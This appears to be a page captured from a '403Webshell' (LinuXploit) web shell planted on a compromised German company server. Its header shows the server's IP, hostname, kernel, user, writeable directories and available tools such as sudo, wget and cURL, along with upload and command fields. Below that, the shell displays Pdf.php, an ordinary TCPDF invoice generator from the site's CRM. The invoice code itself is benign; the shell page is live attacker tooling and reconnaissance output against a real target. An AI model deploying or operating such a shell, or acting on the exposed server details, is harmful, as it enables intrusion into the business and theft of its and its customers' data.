403Webshell
Server IP : 202.61.199.114  /  Your IP : 216.73.217.139
Web Server : nginx/1.22.1
System : Linux de.arni-solutions.de 6.1.0-49-amd64 #1 SMP PREEMPT_DYNAMIC Debian 6.1.174-1 (2026-05-26) x86_64
User : web20 ( 1018)
PHP Version : 8.4.23
Disable Function : NONE
MySQL : OFF  |  cURL : ON  |  WGET : ON  |  Perl : ON  |  Python : OFF  |  Sudo : ON  |  Pkexec : ON
Directory :  /var/www/arni-solutions.de/web/crm/app/

Upload File :
current_dir [ Writeable ] document_root [ Writeable ]

 

Command :


[ Back ]     

Current File : /var/www/arni-solutions.de/web/crm/app/Pdf.php
<?php
/**
 * Rechnungs-PDF mit TCPDF (lokal vorhanden, keine CDN).
 */
class Pdf
{
    /**
     * Erzeugt das Rechnungs-PDF.
     * @param int  $invoiceId
     * @param string $dest  'F' = in storage speichern, 'I' = inline anzeigen, 'D' = Download
     * @return string|null  Dateipfad (bei 'F') sonst null
     */
    public static function invoice($invoiceId, $dest = 'F')
    {
        $tcpdf = cfg('paths.tcpdf');
        if (!is_file($tcpdf)) {
            throw new RuntimeException('TCPDF nicht gefunden unter ' . $tcpdf);
        }
        // Die ältere TCPDF-Version auf dem Server gibt PHP-Warnungen aus, die den
        // PDF-Stream zerstören würden. Daher Anzeige während der PDF-Erzeugung aus
        // und sämtliche Streu-Ausgaben über einen Output-Buffer verwerfen.
        @ini_set('display_errors', '0');
        error_reporting(error_reporting() & ~E_DEPRECATED & ~E_WARNING & ~E_NOTICE & ~E_STRICT);
        ob_start();

        require_once $tcpdf; // lädt die TCPDF-Basisklasse (CrmTcpdf erweitert sie via Autoloader)

        $inv   = Invoice::find($invoiceId);
        if (!$inv) throw new RuntimeException('Rechnung nicht gefunden.');
        $items = InvoiceItem::forInvoice($invoiceId);
        $s     = Setting::allAssoc();

        $pdf = new CrmTcpdf('P', 'mm', 'A4', true, 'UTF-8');
        $pdf->footerHtml = self::footerLine($s);
        $pdf->SetCreator('ArNi CRM');
        $pdf->SetAuthor($s['company_name'] ?? 'ArNi Solutions');
        $pdf->SetTitle('Rechnung ' . ($inv['invoice_number'] ?: ''));
        $pdf->setPrintHeader(false);
        $pdf->setPrintFooter(true);
        $pdf->setFooterMargin(18);
        $pdf->SetMargins(18, 18, 18);
        $pdf->SetAutoPageBreak(true, 26);
        $pdf->SetFont('helvetica', '', 10);

        $pdf->AddPage();

        $html = self::buildHtml($inv, $items, $s);
        $pdf->writeHTML($html, true, false, true, false, '');

        $filename = 'Rechnung_' . preg_replace('/[^A-Za-z0-9_\-]/', '_', ($inv['invoice_number'] ?: ('Entwurf_' . $inv['id']))) . '.pdf';

        // Aufgefangene TCPDF-Warnungen verwerfen, damit der Stream sauber ist.
        if (ob_get_level() > 0) { ob_end_clean(); }

        if ($dest === 'F') {
            $path = cfg('paths.invoices') . '/' . $filename;
            $pdf->Output($path, 'F');
            Invoice::update($invoiceId, ['pdf_path' => $filename]);
            return $path;
        }
        $pdf->Output($filename, $dest === 'D' ? 'D' : 'I');
        return null;
    }

    private static function m($n) { return number_format((float)$n, 2, ',', '.') . ' &euro;'; }
    private static function q($n) { return rtrim(rtrim(number_format((float)$n, 3, ',', '.'), '0'), ','); }

    /** Erkennt Deutschland (inkl. leer/Default) – dann wird das Land nicht ausgegeben. */
    public static function isGermany($c)
    {
        $c = strtolower(trim((string)$c));
        return $c === '' || in_array($c, ['deutschland', 'germany', 'de', 'd', 'brd', 'allemagne'], true);
    }

    private static function footerLine($s)
    {
        $bits = [];
        $owner = !empty($s['company_owner']) ? ' · Inh. ' . $s['company_owner'] : '';
        $bits[] = ($s['company_name'] ?? '') . $owner . ' · ' . ($s['company_address'] ?? '') . ', ' . ($s['company_zip'] ?? '') . ' ' . ($s['company_city'] ?? '');
        $line2 = [];
        if (!empty($s['company_phone']))   $line2[] = 'Tel: ' . $s['company_phone'];
        if (!empty($s['company_email']))   $line2[] = $s['company_email'];
        if (!empty($s['tax_number']))      $line2[] = 'St.-Nr.: ' . $s['tax_number'];
        if (!empty($s['vat_id']))          $line2[] = 'USt-IdNr.: ' . $s['vat_id'];
        if ($line2) $bits[] = implode(' · ', $line2);
        $line3 = [];
        if (!empty($s['bank_name'])) $line3[] = $s['bank_name'];
        if (!empty($s['bank_iban'])) $line3[] = 'IBAN: ' . $s['bank_iban'];
        if (!empty($s['bank_bic']))  $line3[] = 'BIC: ' . $s['bank_bic'];
        if ($line3) $bits[] = implode(' · ', $line3);
        return implode('<br>', array_map('htmlspecialchars', $bits));
    }

    private static function buildHtml($inv, $items, $s)
    {
        $logoHtml = '';
        if (!empty($s['logo_path'])) {
            $logoFile = cfg('paths.public') . '/uploads/' . $s['logo_path'];
            if (is_file($logoFile)) {
                $logoHtml = '<img src="' . $logoFile . '" height="60">';
            }
        }

        $company = htmlspecialchars($s['company_name'] ?? 'ArNi Solutions');
        $compAddr = nl2br(htmlspecialchars(
            ($s['company_address'] ?? '') . "\n" . ($s['company_zip'] ?? '') . ' ' . ($s['company_city'] ?? '') . "\n" . ($s['company_country'] ?? '')
        ));

        // Rechnungs-Logo (dunkle, auf weißem Grund sichtbare Variante) oben links.
        // Fällt auf Firmenname + Adresse zurück, falls die Datei fehlt.
        $tplLogoFile = cfg('paths.public') . '/assets/img/invoice-logo.png';
        $brandLogo = is_file($tplLogoFile)
            ? '<img src="' . $tplLogoFile . '" height="40">'
            : $company . '<br>' . $compAddr;

        // Empfänger – Ansprechpartner (bill_name) NICHT ausgeben, wenn eine Firma
        // vorhanden ist. Ohne Firma ist die Person selbst der Empfänger.
        // Land nur ausgeben, wenn der Empfänger außerhalb Deutschlands sitzt.
        $rcptCountry = self::isGermany($inv['bill_country'] ?? '') ? '' : trim((string)$inv['bill_country']);
        $rcpt = array_filter([
            $inv['bill_company'],
            empty($inv['bill_company']) ? ($inv['bill_name'] ?? '') : '',
            $inv['bill_address1'],
            trim(($inv['bill_zip'] ?? '') . ' ' . ($inv['bill_city'] ?? '')),
            $rcptCountry,
        ]);
        $rcptHtml = nl2br(htmlspecialchars(implode("\n", $rcpt)));

        $senderSmall = htmlspecialchars(($s['company_name'] ?? '') . (!empty($s['company_owner']) ? ' · Inh. ' . $s['company_owner'] : '') . ' · ' . ($s['company_address'] ?? '') . ' · ' . ($s['company_zip'] ?? '') . ' ' . ($s['company_city'] ?? ''));

        $number = htmlspecialchars($inv['invoice_number'] ?: '(Entwurf)');
        $date   = $inv['invoice_date'] ? date('d.m.Y', strtotime($inv['invoice_date'])) : '';
        $due    = $inv['due_date'] ? date('d.m.Y', strtotime($inv['due_date'])) : '';
        $svc    = $inv['service_date'] ? date('d.m.Y', strtotime($inv['service_date'])) : '';

        // Kleinunternehmerregelung § 19 UStG: kein MwSt-Ausweis, stattdessen Pflichthinweis.
        $klein = ((int)($s['inv_kleinunternehmer'] ?? 0)) === 1;
        // Rabatt-Spalte nur, wenn mindestens eine Position einen Rabatt hat.
        $hasDiscount = false;
        foreach ($items as $it) { if ((float)($it['discount_percent'] ?? 0) > 0) { $hasDiscount = true; break; } }
        // Frei werdende Spaltenbreiten (MwSt 8%, Rabatt 8%) fließen in die Beschreibung.
        $descW = 38 + ($klein ? 8 : 0) + ($hasDiscount ? 0 : 8);

        // Positionen
        $rows = '';
        $i = 1;
        foreach ($items as $it) {
            $desc = htmlspecialchars($it['title']);
            if (!empty($it['description']) && $it['description'] !== $it['title']) {
                $desc .= '<br><span style="color:#666;font-size:8px;">' . nl2br(htmlspecialchars($it['description'])) . '</span>';
            }
            $disc = (float)$it['discount_percent'] > 0 ? number_format((float)$it['discount_percent'], 0) . '%' : '–';
            $rows .= '<tr>'
                . '<td width="5%" align="center">' . $i++ . '</td>'
                . '<td width="' . $descW . '%">' . $desc . '</td>'
                . '<td width="13%" align="right">' . self::q($it['qty']) . ' ' . htmlspecialchars($it['unit']) . '</td>'
                . '<td width="14%" align="right">' . self::m($it['unit_price']) . '</td>'
                . ($hasDiscount ? '<td width="8%" align="right">' . $disc . '</td>' : '')
                . ($klein ? '' : '<td width="8%" align="right">' . number_format((float)$it['tax_rate'], 0) . '%</td>')
                . '<td width="14%" align="right">' . self::m($it['line_net']) . '</td>'
                . '</tr>';
        }

        // Kopfzeile der Positionstabelle (Rabatt/MwSt nur wenn relevant)
        $thDisc  = $hasDiscount ? '<td width="8%" align="right">Rabatt</td>' : '';
        $thMwst  = $klein ? '' : '<td width="8%" align="right">MwSt</td>';
        $thTotal = $klein ? 'Betrag' : 'Netto';

        // Summenblock. Bei § 19 kein MwSt-Ausweis – nur Gesamtbetrag (= Nettobetrag).
        $note = '';
        if ($klein) {
            $note = trim((string)($s['inv_kleinunternehmer_note'] ?? ''));
            if ($note === '') $note = 'Gemäß § 19 UStG wird keine Umsatzsteuer berechnet (Kleinunternehmerregelung).';
            $sumRows = '<tr style="font-weight:bold;font-size:11px;border-top:1px solid #333;">'
                . '<td align="right" width="68%">Gesamtbetrag</td><td align="right" width="32%">' . self::m($inv['total_gross']) . '</td></tr>';
        } else {
            $tax = Invoice::taxBreakdown($items);
            $taxRows = '';
            foreach ($tax as $t) {
                $taxRows .= '<tr><td align="right" width="68%">zzgl. ' . number_format($t['rate'], 0) . '% MwSt. (auf ' . self::m($t['net']) . ')</td>'
                    . '<td align="right" width="32%">' . self::m($t['tax']) . '</td></tr>';
            }
            $sumRows = '<tr><td align="right" width="68%">Zwischensumme netto</td><td align="right" width="32%">' . self::m($inv['subtotal_net']) . '</td></tr>'
                . $taxRows
                . '<tr style="font-weight:bold;font-size:11px;border-top:1px solid #333;">'
                . '<td align="right" width="68%">Gesamtbetrag</td><td align="right" width="32%">' . self::m($inv['total_gross']) . '</td></tr>';
        }

        $textTop    = nl2br(htmlspecialchars($inv['text_top'] ?: ($s['invoice_text_top'] ?? '')));
        $textBottom = nl2br(htmlspecialchars($inv['text_bottom'] ?: ($s['invoice_text_bottom'] ?? '')));

        // Info-Block (Zahlung + Umsatzsteuer-Hinweis) – schlicht, mit kleinen
        // Akzent-Überschriften passend zum RECHNUNG-Blau, ohne farbige Kästen.
        $H = function ($t) { return '<span style="font-size:8px;color:#3f51b5;font-weight:bold;">' . strtoupper($t) . '</span><br>'; };
        $cols = [];
        if (!empty($s['bank_iban'])) {
            // Zahlungsdaten als ruhige Label-Wert-Tabelle: graue Labels, dunkle Werte.
            $pv = function ($label, $val) {
                return '<tr>'
                    . '<td width="34%"><span style="font-size:8px;color:#8a94a6;">' . $label . '</span></td>'
                    . '<td width="66%"><span style="font-size:10px;color:#222;">' . $val . '</span></td>'
                    . '</tr>';
            };
            $cols[] = $H('Zahlung')
                . '<table cellpadding="2">'
                . $pv('Fällig', '<strong>' . $due . '</strong>')
                . $pv('Empfänger', htmlspecialchars($s['bank_name'] ?? ''))
                . $pv('IBAN', htmlspecialchars($s['bank_iban']))
                . $pv('BIC', htmlspecialchars($s['bank_bic'] ?? ''))
                . $pv('Verwendungszweck', $number)
                . '</table>';
        }
        if ($klein) {
            $cols[] = $H('Umsatzsteuer') . '<br><span style="font-size:9px;color:#555;">' . nl2br(htmlspecialchars($note)) . '</span>';
        }
        $infoHtml = '';
        if ($cols) {
            $inner = count($cols) === 2
                ? '<table cellpadding="0"><tr><td width="52%" style="vertical-align:top;">' . $cols[0] . '</td>'
                  . '<td width="6%"></td><td width="42%" style="vertical-align:top;">' . $cols[1] . '</td></tr></table>'
                : '<div>' . $cols[0] . '</div>';
            $infoHtml = '<div style="border-top:1px solid #dcdfe6;font-size:1px;line-height:1px;">&nbsp;</div><br>' . $inner . '<br>';
        }

        return '
        <table cellpadding="2"><tr>
          <td width="50%" style="vertical-align:top;">' . $brandLogo . '</td>
          <td width="50%" align="right" style="font-size:9px;color:#333;vertical-align:top;">
            <strong style="font-size:17px;color:#3f51b5;">RECHNUNG</strong><br><br>
            Rechnungsnr.: <strong>' . $number . '</strong><br>
            Datum: ' . $date . '<br>'
            . ($svc ? 'Leistungsdatum: ' . $svc . '<br>' : '')
            . 'Zahlungsziel: ' . $due . '
          </td>
        </tr></table>
        <br>
        <table cellpadding="2"><tr>
          <td width="60%">
            <span style="font-size:7px;color:#888;">' . $senderSmall . '</span>
            <div style="border-bottom:1px solid #ccc;font-size:1px;line-height:1px;">&nbsp;</div>
            <div style="font-size:11px;">' . $rcptHtml . '</div>
          </td>
          <td width="40%"></td>
        </tr></table>
        <br><br><br>
        <div style="font-size:10px;">' . $textTop . '</div>
        <br>
        <table border="0" cellpadding="5" style="font-size:11px;">
          <thead>
            <tr style="font-weight:bold;border-bottom:1px solid #333;">
              <td width="5%" align="center">#</td>
              <td width="' . $descW . '%">Beschreibung</td>
              <td width="13%" align="right">Menge</td>
              <td width="14%" align="right">Einzel</td>
              ' . $thDisc . '
              ' . $thMwst . '
              <td width="14%" align="right">' . $thTotal . '</td>
            </tr>
          </thead>
          <tbody>' . $rows . '</tbody>
        </table>
        <br>
        <table cellpadding="3" style="font-size:11px;">
          <tr><td width="50%"></td><td width="50%">
            <table cellpadding="3">
              ' . $sumRows . '
            </table>
          </td></tr>
        </table>
        <br>
        ' . $infoHtml . '
        <div style="font-size:9px;color:#444;">' . $textBottom . '</div>
        ';
    }
}

Youez - 2016 - github.com/yon3zu
LinuXploit